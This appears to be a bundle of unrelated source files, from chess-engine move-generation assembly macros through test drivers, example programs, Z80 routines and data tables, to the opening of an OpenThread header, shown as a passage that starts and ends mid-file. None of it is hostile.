else if color = Black
mov res, qword[BlackPawnAttacks+8*square]
else
err 'color in attacks_from_pawn strange'
end if
end macro
macro CastlingJmp Rights, JmpTrue, JmpFalse
; in: rbp address of Pos
; r13 their pieces
; r14 all pieces
; out eax = 0 if castling is illegal
; eax = -1 if castling is legal
; assumed to have passed path test and rights test
local ksq_loop
mov rax, qword[rbp+Pos.typeBB+8*Pawn]
or rax, qword[rbp+Pos.typeBB+8*King]
and rax, r13
test rax, qword[rbp-Thread.rootPos+Thread.castling_kingpawns+8*(Rights)]
jnz JmpFalse
mov rdx, qword[rbp+Pos.typeBB+8*Knight]
and rdx, r13
test rdx, qword[rbp-Thread.rootPos+Thread.castling_knights+8*(Rights)]
jnz JmpFalse
movzx r11d, byte[rbp-Thread.rootPos+Thread.castling_ksqpath+8*(Rights)]
mov r10, qword[rbp+Pos.typeBB+8*Rook]
or r10, qword[rbp+Pos.typeBB+8*Queen]
and r10, r13
mov r9, qword[rbp+Pos.typeBB+8*Bishop]
or r9, qword[rbp+Pos.typeBB+8*Queen]
and r9, r13
movzx eax, byte[rbp-Thread.rootPos+Thread.castling_rfrom+Rights]
mov rdx, r14
btr rdx, rax
RookAttacks rax, 56*(((Rights) and 2) shr 1)+(((Rights) and 1) xor 1)*(SQ_G1-SQ_C1)+SQ_C1, rdx, r8
test rax, r10
jnz JmpFalse
test r11d, r11d
jz JmpTrue
ksq_loop:
movzx edx, byte[rbp-Thread.rootPos+Thread.castling_ksqpath+8*(Rights)+r11]
RookAttacks rax, rdx, r14, r8
test rax, r10
jnz JmpFalse
BishopAttacks rax, rdx, r14, r8
test rax, r9
jnz JmpFalse
sub r11d, 1
jnz ksq_loop
end macro
macro generate_promotions Type, Delta, pon7, target
local Outer, OuterDone, Inner, InnerDone
if Type = QUIET_CHECKS
movzx eax, byte [rbx+State.ksq]
xor ecx, ecx
bts rcx, rax
end if
mov rsi, pon7
ShiftBB Delta, rsi, rdx
and rsi, target
jz OuterDone
Outer:
_tzcnt rdx, rsi
if Type = CAPTURES | Type = EVASIONS | Type = NON_EVASIONS
imul eax, edx, 65
add eax, 64*64*(MOVE_TYPE_PROM+3) - 64*Delta
mov dword[rdi], eax
lea rdi, [rdi+sizeof.ExtMove]
end if
if Type = QUIETS | Type = EVASIONS | Type = NON_EVASIONS
imul eax, edx, 65
add eax, 64*64*(MOVE_TYPE_PROM+2) - 64*Delta
mov dword[rdi+0*sizeof.ExtMove], eax
sub eax, 64*64*(1)
mov dword[rdi+1*sizeof.ExtMove], eax
sub eax, 64*64*(1)
mov dword[rdi+2*sizeof.ExtMove], eax
lea rdi, [rdi+3*sizeof.ExtMove]
end if
if Type = QUIET_CHECKS
imul eax, edx, 65
test rcx, qword[KnightAttacks+8*rdx]
jz InnerDone
add eax, 64*64*(MOVE_TYPE_PROM+0) - 64*Delta
mov dword[rdi], eax
lea rdi, [rdi+sizeof.ExtMove]
end if
InnerDone:
_blsr rsi, rsi, rax
jnz Outer
OuterDone:
end macro
; generate_pawn_jmp generates targets for uncommon operations in pawn move gen
; first we have promotions
; then ep captures
macro generate_pawn_jmp Us, Type
local Them, TRank8BB, TRank7BB, TRank3BB, Up, Right, Left
local b1, b2, eS, pawnsNotOn7, pawnsOn7, enemies
b1 equ r8
b2 equ r9
eS equ r10
pawnsNotOn7 equ r11
pawnsOn7 equ r12
enemies equ r13
if Us = White
Them = Black
TRank8BB = Rank8BB
TRank7BB = Rank7BB
TRank3BB = Rank3BB
Up = DELTA_N
Right = DELTA_NE
Left = DELTA_NW
else
Them = White
TRank8BB = Rank1BB
TRank7BB = Rank2BB
TRank3BB = Rank6BB
Up = DELTA_S
Right = DELTA_SW
Left = DELTA_SE
end if
calign 8
.CheckProm:
if Type = CAPTURES
mov eS, r14
not eS
else if Type = EVASIONS
and eS, r15
end if
generate_promotions Type, Right, pawnsOn7, enemies
generate_promotions Type, Left, pawnsOn7, enemies
generate_promotions Type, Up, pawnsOn7, eS
jmp .PromDone
if Type = CAPTURES | Type = EVASIONS | Type = NON_EVASIONS
calign 8
.CaptureEp:
_tzcnt rax, b1
shl eax, 6
or eax, edx
mov dword[rdi], eax
lea rdi, [rdi+sizeof.ExtMove]
_blsr b1, b1, rcx
jnz .CaptureEp
jmp .CaptureEpDone
end if
end macro
macro generate_pawn_moves Us, Type
local Them, TRank8BB, TRank7BB, TRank3BB, Up, Right, Left
local b1, b2, eS, pawnsNotOn7, pawnsOn7, enemies
local SkipDCPawns, SinglePush, SinglePushDone, DoublePush, DoublePushDone
local CaptureRight, CaptureRightDone, CaptureLeft, CaptureLeftDone
if Us = White
Them = Black
TRank8BB = Rank8BB
TRank7BB = Rank7BB
TRank3BB = Rank3BB
Up = DELTA_N
Right = DELTA_NE
Left = DELTA_NW
else
Them = White
TRank8BB = Rank1BB
TRank7BB = Rank2BB
TRank3BB = Rank6BB
Up = DELTA_S
Right = DELTA_SW
Left = DELTA_SE
end if
b1 equ r8
b2 equ r9
eS equ r10
pawnsNotOn7 equ r11
pawnsOn7 equ r12
enemies equ r13
mov rax, qword[rbp+Pos.typeBB+8*Pawn]
and rax, qword[rbp+Pos.typeBB+8*Us]
mov pawnsOn7, TRank7BB
_andn pawnsNotOn7, pawnsOn7, rax
and pawnsOn7, rax
if Type = EVASIONS
mov enemies, qword[rbp+Pos.typeBB+8*Them]
and enemies, r15
else if Type = CAPTURES
mov enemies, r15
else
mov enemies, qword[rbp+Pos.typeBB+8*Them]
end if
; Single and double pawn pushes, no promotions
if Type <> CAPTURES
if Type = QUIETS | Type = QUIET_CHECKS
mov eS, r15
else
mov eS, r14
not eS
end if
mov b1, pawnsNotOn7
ShiftBB Up, b1, rax
and b1, eS
mov b2, TRank3BB
and b2, b1
ShiftBB Up, b2, rax
and b2, eS
if Type = EVASIONS
and b1, r15
and b2, r15
end if
if Type = QUIET_CHECKS
movzx edx, byte[rbx+State.ksq]
attacks_from_pawn Them, rax, rdx
and b1, rax
and b2, rax
and rdx, 7
mov rax, pawnsNotOn7
mov rcx, qword [FileBB+8*rdx]
_andn rcx, rcx, eS
and rax, qword[rbx+State.dcCandidates]
jz SkipDCPawns
ShiftBB Up, rax, rdx
and rax, rcx
mov rcx, TRank3BB
and rcx, rax
ShiftBB Up, rcx, rdx
and rcx, eS
or b1, rax
or b2, rcx
SkipDCPawns:
end if
test b1, b1
jz SinglePushDone
SinglePush:
_tzcnt rax, b1
imul eax, (1 shl 6) + (1 shl 0)
sub eax, (Up shl 6) + (0 shl 0)
mov dword[rdi], eax
lea rdi, [rdi+sizeof.ExtMove]
_blsr b1, b1, rcx
jnz SinglePush
SinglePushDone:
test b2, b2
jz DoublePushDone
DoublePush:
_tzcnt rax, b2
imul eax, (1 shl 6) + (1 shl 0)
sub eax, ((Up+Up) shl 6)
mov dword[rdi], eax
lea rdi, [rdi+sizeof.ExtMove]
_blsr b2, b2, rcx
jnz DoublePush
DoublePushDone:
end if
if Type = EVASIONS
mov rax, TRank8BB
test pawnsOn7, pawnsOn7
jz .PromDone
test rax, r15
jnz .CheckProm
else
mov rax, TRank8BB
test pawnsOn7, pawnsOn7
jnz .CheckProm
end if
.PromDone:
if Type = CAPTURES | Type = EVASIONS | Type = NON_EVASIONS
mov b1, pawnsNotOn7
mov b2, pawnsNotOn7
ShiftBB Right, b1, rax
ShiftBB Left, b2, rax
and b1, enemies
and b2, enemies
test b1, b1
jz CaptureRightDone
CaptureRight:
_tzcnt rax, b1
imul eax, (1 shl 6) + (1 shl 0)
sub eax, (Right shl 6) + (0 shl 0)
mov dword[rdi], eax
lea rdi, [rdi+sizeof.ExtMove]
_blsr b1, b1, rcx
jnz CaptureRight
CaptureRightDone:
test b2, b2
jz CaptureLeftDone
CaptureLeft:
_tzcnt rax, b2
imul eax, (1 shl 6) + (1 shl 0)
sub eax, (Left shl 6) + (0 shl 0)
mov dword[rdi], eax
lea rdi, [rdi+sizeof.ExtMove]
_blsr b2, b2, rcx
jnz CaptureLeft
CaptureLeftDone:
movzx edx, byte[rbx+State.epSquare]
lea eax, [rdx-Up]
cmp edx, 64
jae .CaptureEpDone
if Type = EVASIONS
bt r15, rax
jnc .CaptureEpDone
end if
attacks_from_pawn Them, b1, rdx
or edx, MOVE_TYPE_EPCAP shl 12
and b1, pawnsNotOn7
jnz .CaptureEp
.CaptureEpDone:
end if
end macro
; generate moves Knight, Bishop, Rook, and Queen
macro generate_moves Us, Pt, Checks
local Outer, OuterDone, Inner, InnerDone
lea r11, [rbp+Pos.pieceList+16*(8*Us+Pt)]
movzx edx, byte[r11]
cmp edx, 64
jae OuterDone
Outer:
if Checks = QUIET_CHECKS
mov r10, qword[rbx+State.checkSq+8*Pt]
mov rsi, qword[rbx+State.dcCandidates]
if Pt = Bishop
mov rax, qword[BishopAttacksPDEP+8*rdx]
and rax, r10
test rax, r15
jz InnerDone
else if Pt = Rook
mov rax, qword[RookAttacksPDEP+8*rdx]
and rax, r10
test rax, r15
jz InnerDone
else if Pt = Queen
mov rax, qword[BishopAttacksPDEP+8*rdx]
or rax, qword[RookAttacksPDEP+8*rdx]
and rax, r10
test rax, r15
jz InnerDone
end if
bt rsi, rdx
jc InnerDone
if Pt = Knight
mov rsi, qword[KnightAttacks+8*rdx]
else if Pt = Bishop
BishopAttacks rsi, rdx, r14, rax
else if Pt = Rook
RookAttacks rsi, rdx, r14, rax
else if Pt = Queen
BishopAttacks rsi, rdx, r14, rax
RookAttacks r9, rdx, r14, rax
or rsi, r9
end if
else
if Pt = Knight
mov rsi, qword[KnightAttacks+8*rdx]
else if Pt = Bishop
BishopAttacks rsi, rdx, r14, rax
else if Pt = Rook
RookAttacks rsi, rdx, r14, rax
else if Pt = Queen
BishopAttacks rsi, rdx, r14, rax
RookAttacks r9, rdx, r14, rax
or rsi, r9
end if
end if
if Checks = QUIET_CHECKS
and rsi, r10
end if
shl edx, 6
and rsi, r15
jz InnerDone
Inner:
_tzcnt rax, rsi
or eax, edx
mov dword[rdi], eax
lea rdi, [rdi+sizeof.ExtMove]
_blsr rsi, rsi, rax
jnz Inner
InnerDone:
add r11, 1
movzx edx, byte[r11]
cmp edx, 64
jb Outer
OuterDone:
end macro
; generate_jmp generates targets for uncommon operations in move gen
; first we do castling and then generate_pawn_jmp
macro generate_jmp Us, Type
local CastlingOODone, CastlingOOGood, CastlingOOOGood
local CheckOOQuiteCheck, CheckOOOQuiteCheck
if Type <> CAPTURES & Type <> EVASIONS
calign 8
.CastlingOO:
if Type = NON_EVASIONS
CastlingJmp (2*Us+0), CastlingOOGood, CastlingOODone
CastlingOOGood:
mov eax, dword[rbp-Thread.rootPos+Thread.castling_movgen+4*(2*Us+0)]
mov dword[rdi], eax
lea rdi, [rdi+sizeof.ExtMove]
else
if Us = White
call CastleOOLegal_White
else
call CastleOOLegal_Black
end if
if Type eq QUIET_CHECKS
mov ecx, dword[rbp-Thread.rootPos+Thread.castling_movgen+4*(2*Us+0)]
mov dword[rdi], ecx
test eax, eax
jnz CheckOOQuiteCheck
else
and eax, sizeof.ExtMove
mov ecx, dword[rbp-Thread.rootPos+Thread.castling_movgen+4*(2*Us+0)]
mov dword[rdi], ecx
add rdi, rax
end if
end if
CastlingOODone:
movzx eax, byte[rbx+State.castlingRights]
mov rcx, qword[rbp-Thread.rootPos+Thread.castling_path+8*(2*Us+1)]
and eax, 2 shl (2*Us)
xor eax, 2 shl (2*Us)
and rcx, r14
or rax, rcx
jnz .CastlingDone
.CastlingOOO:
if Type = NON_EVASIONS
CastlingJmp (2*Us+1), CastlingOOOGood, .CastlingDone
CastlingOOOGood:
mov eax, dword[rbp-Thread.rootPos+Thread.castling_movgen+4*(2*Us+1)]
mov dword[rdi], eax
lea rdi, [rdi+sizeof.ExtMove]
jmp .CastlingDone
else
if Us eq White
call CastleOOOLegal_White
else if Us eq Black
call CastleOOOLegal_Black
end if
if Type eq QUIET_CHECKS
mov ecx, dword[rbp-Thread.rootPos+Thread.castling_movgen+4*(2*Us+1)]
test eax, eax
mov dword[rdi], ecx
jnz CheckOOOQuiteCheck
jmp .CastlingDone
else
and eax, sizeof.ExtMove
mov ecx, dword[rbp-Thread.rootPos+Thread.castling_movgen+4*(2*Us+1)]
mov dword[rdi], ecx
add rdi, rax
jmp .CastlingDone
end if
end if
if Type = QUIET_CHECKS
calign 8
CheckOOQuiteCheck:
call Move_GivesCheck
and eax, 8
add rdi, rax
jmp CastlingOODone
calign 8
CheckOOOQuiteCheck:
call Move_GivesCheck
and eax, 8
add rdi, rax
jmp .CastlingDone
end if
end if
generate_pawn_jmp Us, Type
end macro
macro generate_all Us, Type
local KingMoves, KingMovesDone
generate_pawn_moves Us, Type
generate_moves Us, Knight, Type
generate_moves Us, Bishop, Type
generate_moves Us, Rook, Type
generate_moves Us, Queen, Type
if Type <> CAPTURES & Type <> EVASIONS
movzx r9d, byte[rbx+State.castlingRights]
mov r10, qword[rbp-Thread.rootPos+Thread.castling_path+8*(2*Us+0)]
mov r11, qword[rbp-Thread.rootPos+Thread.castling_path+8*(2*Us+1)]
and r10, r14
and r11, r14
end if
if Type <> QUIET_CHECKS & Type <> EVASIONS
mov rsi, qword[rbp+Pos.typeBB+8*King]
and rsi, qword[rbp+Pos.typeBB+8*Us]
_tzcnt rdx, rsi
mov rcx, qword[KingAttacks+8*rdx]
shl edx, 6
and rcx, r15
jz KingMovesDone
KingMoves:
_tzcnt rax, rcx
or eax, edx
mov dword[rdi], eax
lea rdi, [rdi+sizeof.ExtMove]
_blsr rcx, rcx, r8
jnz KingMoves
KingMovesDone:
end if
if Type <> CAPTURES & Type <> EVASIONS
; check for castling; since this is rare, the castling functions are included in generate_jmp
mov edx, r9d
and r9d, 1 shl (2*Us)
xor r9d, 1 shl (2*Us)
and edx, 2 shl (2*Us)
xor edx, 2 shl (2*Us)
mov r13, qword[rbp+Pos.typeBB+8*(Us xor 1)]
or r9, r10
jz .CastlingOO
or rdx, r11
jz .CastlingOOO
.CastlingDone:
end if
end macro
|
//------------------------------------------------------------------------------
// RayleighControlStateConstraintDriver
//------------------------------------------------------------------------------
// GMAT: General Mission Analysis Tool
//
// Copyright (c) 2002 - 2020 United States Government as represented by the
// Administrator of the National Aeronautics and Space Administration.
// All Other Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// You may not use this file except in compliance with the License.
// You may obtain a copy of the License at:
// http://www.apache.org/licenses/LICENSE-2.0.
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
// express or implied. See the License for the specific language
// governing permissions and limitations under the License.
//
// Developed jointly by NASA/GSFC and Thinking Systems, Inc. under Purchase
// Order NNG16LD52P
//
// Author: Claire R. Conway, Thinking Systems, Inc.
// Created: Feb 16, 2017
/**
*
*/
//------------------------------------------------------------------------------
#include "csalt.hpp"
#include "RayleighControlStateConstraintDriver.hpp"
#include "RayleighControlStateConstraintPointObject.hpp"
#include "RayleighControlStateConstraintPathObject.hpp"
static const Real INF = std::numeric_limits<Real>::infinity();
using namespace std;
using namespace GmatMathConstants;
RayleighControlStateConstraintDriver::RayleighControlStateConstraintDriver() :
CsaltTestDriver("RayleighControlStateConstraint")
{
}
RayleighControlStateConstraintDriver::~RayleighControlStateConstraintDriver()
{
}
void RayleighControlStateConstraintDriver::SetPointPathAndProperties()
{
pathObject = new RayleighControlStateConstraintPathObject();
pointObject = new RayleighControlStateConstraintPointObject();
maxMeshRefinementCount = 50;
}
void RayleighControlStateConstraintDriver::SetupPhases()
{
RadauPhase *phase1 = new RadauPhase();
std::string initialGuessMode = "LinearNoControl";
Rvector meshIntervalFractions(9, -1.0,-0.75,-0.5,-0.25,0.0,0.25,0.5,0.75,1.0);
IntegerArray meshIntervalNumPoints;
meshIntervalNumPoints.push_back(3);
meshIntervalNumPoints.push_back(3);
meshIntervalNumPoints.push_back(3);
meshIntervalNumPoints.push_back(3);
meshIntervalNumPoints.push_back(3);
meshIntervalNumPoints.push_back(3);
meshIntervalNumPoints.push_back(3);
meshIntervalNumPoints.push_back(3);
//Set time properties
Real timeLowerBound = 0.0;
Real timeUpperBound = 4.5;
Real initialGuessTime = 0.0;
Real finalGuessTime = 4.5;
//Set state properties
Integer numStateVars = 2;
Rvector stateLowerBound(2, -10.0, -10.0);
Rvector initialGuessState(2, -5.0, -5.0);
Rvector finalGuessState(2, 0.0, 0.0);
Rvector stateUpperBound(2, 10.0, 10.0);
//Set control properties
Integer numControlVars = 1;
Rvector controlUpperBound(1,10.0);
Rvector controlLowerBound(1,-10.0);
phase1->SetInitialGuessMode(initialGuessMode);
phase1->SetNumStateVars(numStateVars);
phase1->SetNumControlVars(numControlVars);
phase1->SetMeshIntervalFractions(meshIntervalFractions);
phase1->SetMeshIntervalNumPoints(meshIntervalNumPoints);
phase1->SetStateLowerBound(stateLowerBound);
phase1->SetStateUpperBound(stateUpperBound);
phase1->SetStateInitialGuess(initialGuessState);
phase1->SetStateFinalGuess(finalGuessState);
phase1->SetTimeLowerBound(timeLowerBound);
phase1->SetTimeUpperBound(timeUpperBound);
phase1->SetTimeInitialGuess(initialGuessTime);
phase1->SetTimeFinalGuess(finalGuessTime);
phase1->SetControlLowerBound(controlLowerBound);
phase1->SetControlUpperBound(controlUpperBound);
phaseList.push_back(phase1);
}
|
;;
;; Copyright (c) 2018-2020, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%define AES_CBC_ENC_X4 aes_cbc_enc_192_x4_no_aesni
%define FLUSH_JOB_AES_ENC flush_job_aes192_enc_sse_no_aesni
%include "sse/mb_mgr_aes_flush_sse.asm"
|
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
/*=====================================================================
**
** Source: test3.c
**
** Purpose: Tests the PAL implementation of the _wfopen function.
** Test to ensure that you can write to a 'w+' mode file.
** And that you can read from a 'w+' mode file.
**
** Depends:
** fprintf
** fseek
** fgets
**
**
**===================================================================*/
#define UNICODE
#include <palsuite.h>
PALTEST(c_runtime__wfopen_test3_paltest_wfopen_test3, "c_runtime/_wfopen/test3/paltest_wfopen_test3")
{
FILE *fp;
char buffer[128];
WCHAR filename[] = {'t','e','s','t','f','i','l','e','\0'};
WCHAR writeplus[] = {'w','+','\0'};
if (PAL_Initialize(argc, argv))
{
return FAIL;
}
/* Open a file with 'w+' mode */
if( (fp = _wfopen( filename, writeplus )) == NULL )
{
Fail( "ERROR: The file failed to open with 'w+' mode.\n" );
}
/* Write some text to the file */
if(fprintf(fp,"%s","some text") <= 0)
{
Fail("ERROR: Attempted to WRITE to a file opened with 'w+' mode "
"but fprintf failed. Either fopen or fprintf have problems.");
}
if(fseek(fp, 0, SEEK_SET))
{
Fail("ERROR: fseek failed, and this test depends on it.");
}
/* Attempt to read from the 'w+' only file, should pass */
if(fgets(buffer,10,fp) == NULL)
{
Fail("ERROR: Tried to READ from a file with 'w+' mode set. "
"This should succeed, but fgets returned NULL. Either fgets "
"or fopen is broken.");
}
PAL_Terminate();
return PASS;
}
|
/* +------------------------------------------------------------------------+
| Mobile Robot Programming Toolkit (MRPT) |
| http://www.mrpt.org/ |
| |
| Copyright (c) 2005-2018, Individual contributors, see AUTHORS file |
| See: http://www.mrpt.org/Authors - All rights reserved. |
| Released under BSD License. See details in http://www.mrpt.org/License |
+------------------------------------------------------------------------+ */
#include <mrpt/system/CTimeLogger.h>
#include <mrpt/vision/chessboard_camera_calib.h>
#include <mrpt/vision/chessboard_find_corners.h>
#include <mrpt/gui/CDisplayWindow.h>
using namespace std;
using namespace mrpt;
using namespace mrpt::gui;
#include <mrpt/examples_config.h>
std::string myDataDir =
MRPT_EXAMPLES_BASE_DIRECTORY + string("multipleCheckerboards/");
// ------------------------------------------------------
// TestMultipleCheckerboard
// ------------------------------------------------------
void TestMultipleCheckerboard(
const std::string& img_filename, const unsigned int checkerboard_size_x,
const unsigned int checkerboard_size_y)
{
CTimeLogger timlog;
// Load img:
CImage img;
if (!img.loadFromFile(img_filename))
throw std::runtime_error("Can't load image!");
// Detect multiple-checkerboards:
vector<vector<TPixelCoordf>> listCornerCoords;
timlog.enter("findMultipleChessboardsCorners");
mrpt::vision::findMultipleChessboardsCorners(
img, listCornerCoords, checkerboard_size_x, checkerboard_size_y);
timlog.leave("findMultipleChessboardsCorners");
cout << "Number of checkerboards detected: " << listCornerCoords.size()
<< endl;
// Draw:
CImage img_detect;
img.colorImage(img_detect);
for (size_t i = 0; i < listCornerCoords.size(); i++)
img_detect.drawChessboardCorners(
listCornerCoords[i], checkerboard_size_x, checkerboard_size_y);
// Show results:
CDisplayWindow win1("Detected checkerboards ");
win1.showImage(img_detect);
timlog.dumpAllStats();
timlog.clear();
// wait till user closes any window:
win1.waitForKey();
}
// ------------------------------------------------------
// MAIN
// ------------------------------------------------------
int main(int argc, char** argv)
{
try
{
std::string sFile = myDataDir + string("test_3_checkerboards_5x4.jpg");
unsigned int checkerboard_size_x = 5;
unsigned int checkerboard_size_y = 4;
if (argc == 4)
{
sFile = std::string(argv[1]);
checkerboard_size_x = atoi(argv[2]);
checkerboard_size_y = atoi(argv[3]);
}
else if (argc != 1)
{
std::cerr << "Usage: " << argv[0] << " [IMAGE_FILE NX NY]\n";
return 1;
}
TestMultipleCheckerboard(
sFile, checkerboard_size_x, checkerboard_size_y);
return 0;
}
catch (std::exception& e)
{
std::cout << "MRPT exception caught: " << e.what() << std::endl;
return -1;
}
catch (...)
{
printf("Untyped exception!!");
return -1;
}
}
|
#include "game.h"
#include "board.h"
game::game(const char* wName, int w, int h, Uint32 flags)
{
if (SDL_Init(SDL_INIT_EVERYTHING) == 0)
{
std::cout << "SDL init success\n";
window = SDL_CreateWindow(
wName, // Window name
SDL_WINDOWPOS_UNDEFINED, // Initial x position
SDL_WINDOWPOS_UNDEFINED, // Initial y position
w, h, flags // Width, Height & Flags.
);
if(window != 0)
{
std::cout << "Window creation success\n";
renderer = SDL_CreateRenderer(window, -1, 0);
if(renderer != 0)
{
std::cout << "Renderer creation success\n";
std::cout << "Initiation success\n";
running = true;
}
else
{
std::cout << "Renderer init failed\n";
running = false;
}
}
else
{
std::cout << "Window init failed\n";
running = false;
}
}
else
{
std::cout << "SDL init failed\n";
running = false;
}
if(running)
{
// Start loading the game contents if SDL
// successfully initializes the its components
std::cout << "Initializing game contents\n";
gameBoard = new board();
}
}
game::~game()
{
std::cout << "Bye!" << std::endl;
}
bool game::isRunning() { return running; }
void game::handleEvents()
{
SDL_Event event;
if(SDL_PollEvent(&event))
{
switch (event.type)
{
case SDL_QUIT:
running = false;
break;
default:
break;
}
}
}
void game::update()
{
}
void game::render()
{
SDL_SetRenderDrawColor(renderer, 0, 0, 0, 255);
SDL_RenderClear(renderer);
gameBoard->render(renderer);
SDL_RenderPresent(renderer);
}
void game::clean()
{
std::cout << "Cleaning up game\n";
SDL_DestroyWindow(window);
SDL_DestroyRenderer(renderer);
SDL_Quit();
} |
;
; Old School Computer Architecture - SD Card driver
; Taken from the OSCA Bootcode by Phil Ruston 2011
; Port by Stefano Bodrato, 2012
;
; set HL to dest address for data
; set B to number of bytes required
;
; $Id: sd_set_sector_addr_lba0.asm,v 1.4 2015/01/19 01:33:07 pauloscustodio Exp $
;
PUBLIC sd_set_sector_addr_lba0
EXTERN cmd_generic_args
EXTERN sector_lba0
IF SDHC_SUPPORT
EXTERN sd_card_info
ENDIF
sd_set_sector_addr_lba0:
ld bc,(sector_lba0+2)
ld hl,(sector_lba0) ; sector LBA BC:HL -> B,D,E,C
ld d,c
ld e,h
ld c,l
IF SDHC_SUPPORT
ld a,(sd_card_info)
and $10
jr nz,lbatoargs ; if SDHC card, we use direct sector access
ENDIF
ld a,d ; otherwise need to multiply by 512
add hl,hl
adc a,a
ex de,hl
ld b,a
ld c,0
lbatoargs:
ld hl,cmd_generic_args
ld (hl),b
inc hl
ld (hl),d
inc hl
ld (hl),e
inc hl
ld (hl),c
ret
|
SECTION rodata_user
PUBLIC _myeffects
defc _myeffects = EFFECT_TABLE
;SFX format is quite simple:
;
;defb byte1,byte2
;defb byte1,byte2
;...
;defb $ff
;Where byte 1 and bits 7, 6, 5 & 4 from byte2 are the sound frequency
;and bits 3, 2, 1 & 0 of byte2 is the amplitude.
;Effect finishes when &ff is found.
EFFECT_TABLE:
defw _EFECTO0
defw _EFECTO1
defw _EFECTO2
defw _EFECTO3
_EFECTO0:
defb $58,$0D
defb $50,$0B
defb $47,$0A
defb $3E,$06
defb $35,$03
defb $50,$09
defb $47,$0A
defb $3E,$07
defb $FF
_EFECTO1:
defb $58,$0C
defb $5D,$0D
defb $61,$0E
defb $66,$0F
defb $6A,$0E
defb $6F,$0D
defb $7A,$0C
defb $78,$0B
defb $7C,$0A
defb $85,$09
defb $8E,$08
defb $97,$07
defb $A0,$06
defb $A9,$05
defb $FF
_EFECTO2:
defb $1F,$0B
defb $1A,$0C
defb $1F,$0D
defb $16,$0E
defb $1F,$0E
defb $0D,$0D
defb $1F,$0C
defb $0D,$0B
defb $00,$00
defb $00,$00
defb $1F,$08
defb $1A,$09
defb $1F,$0A
defb $16,$0B
defb $1F,$0B
defb $0D,$0A
defb $1F,$09
defb $0D,$07
defb $00,$00
defb $00,$00
defb $1F,$06
defb $1A,$07
defb $1F,$08
defb $16,$08
defb $1F,$07
defb $0D,$06
defb $1F,$05
defb $FF
_EFECTO3:
defb $1A,$0E
defb $1A,$0E
defb $00,$00
defb $1A,$0A
defb $1A,$0A
defb $00,$00
defb $1A,$0C
defb $1A,$0C
defb $00,$00
defb $1A,$08
defb $1A,$08
defb $FF
|
; A098704: Decimal form of the binary numbers 10, 100010, 1000100010, 10001000100010, 100010001000100010,...
; 2,34,546,8738,139810,2236962,35791394,572662306,9162596898,146601550370,2345624805922,37529996894754,600479950316066,9607679205057058,153722867280912930,2459565876494606882,39353054023913710114,629648864382619361826,10074381830121909789218,161190109281950556627490,2579041748511208906039842,41264667976179342496637474,660234687618869479946199586,10563755001901911679139193378,169020080030430586866227094050,2704321280486889389859633504802,43269140487790230237754136076834
mov $1,16
pow $1,$0
div $1,15
mul $1,32
add $1,2
mov $0,$1
|
/*
* Copyright (c) 2016, The OpenThread Authors.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the copyright holder nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @file
* This file includes definitions for generating and processing MeshCoP TLVs.
*
*/
#ifndef MESHCOP_TLVS_HPP_
#define MESHCOP_TLVS_HPP_
#include "openthread-core-config.h"
#include <openthread/commissioner.h>
#include <openthread/dataset.h>
#include <openthread/platform/radio.h>
#include "common/const_cast.hpp"
#include "common/encoding.hpp"
#include "common/message.hpp"
#include "common/string.hpp"
#include "common/tlvs.hpp"
#include "mac/mac_types.hpp"
#include "meshcop/extended_panid.hpp"
#include "meshcop/network_name.hpp"
#include "meshcop/timestamp.hpp"
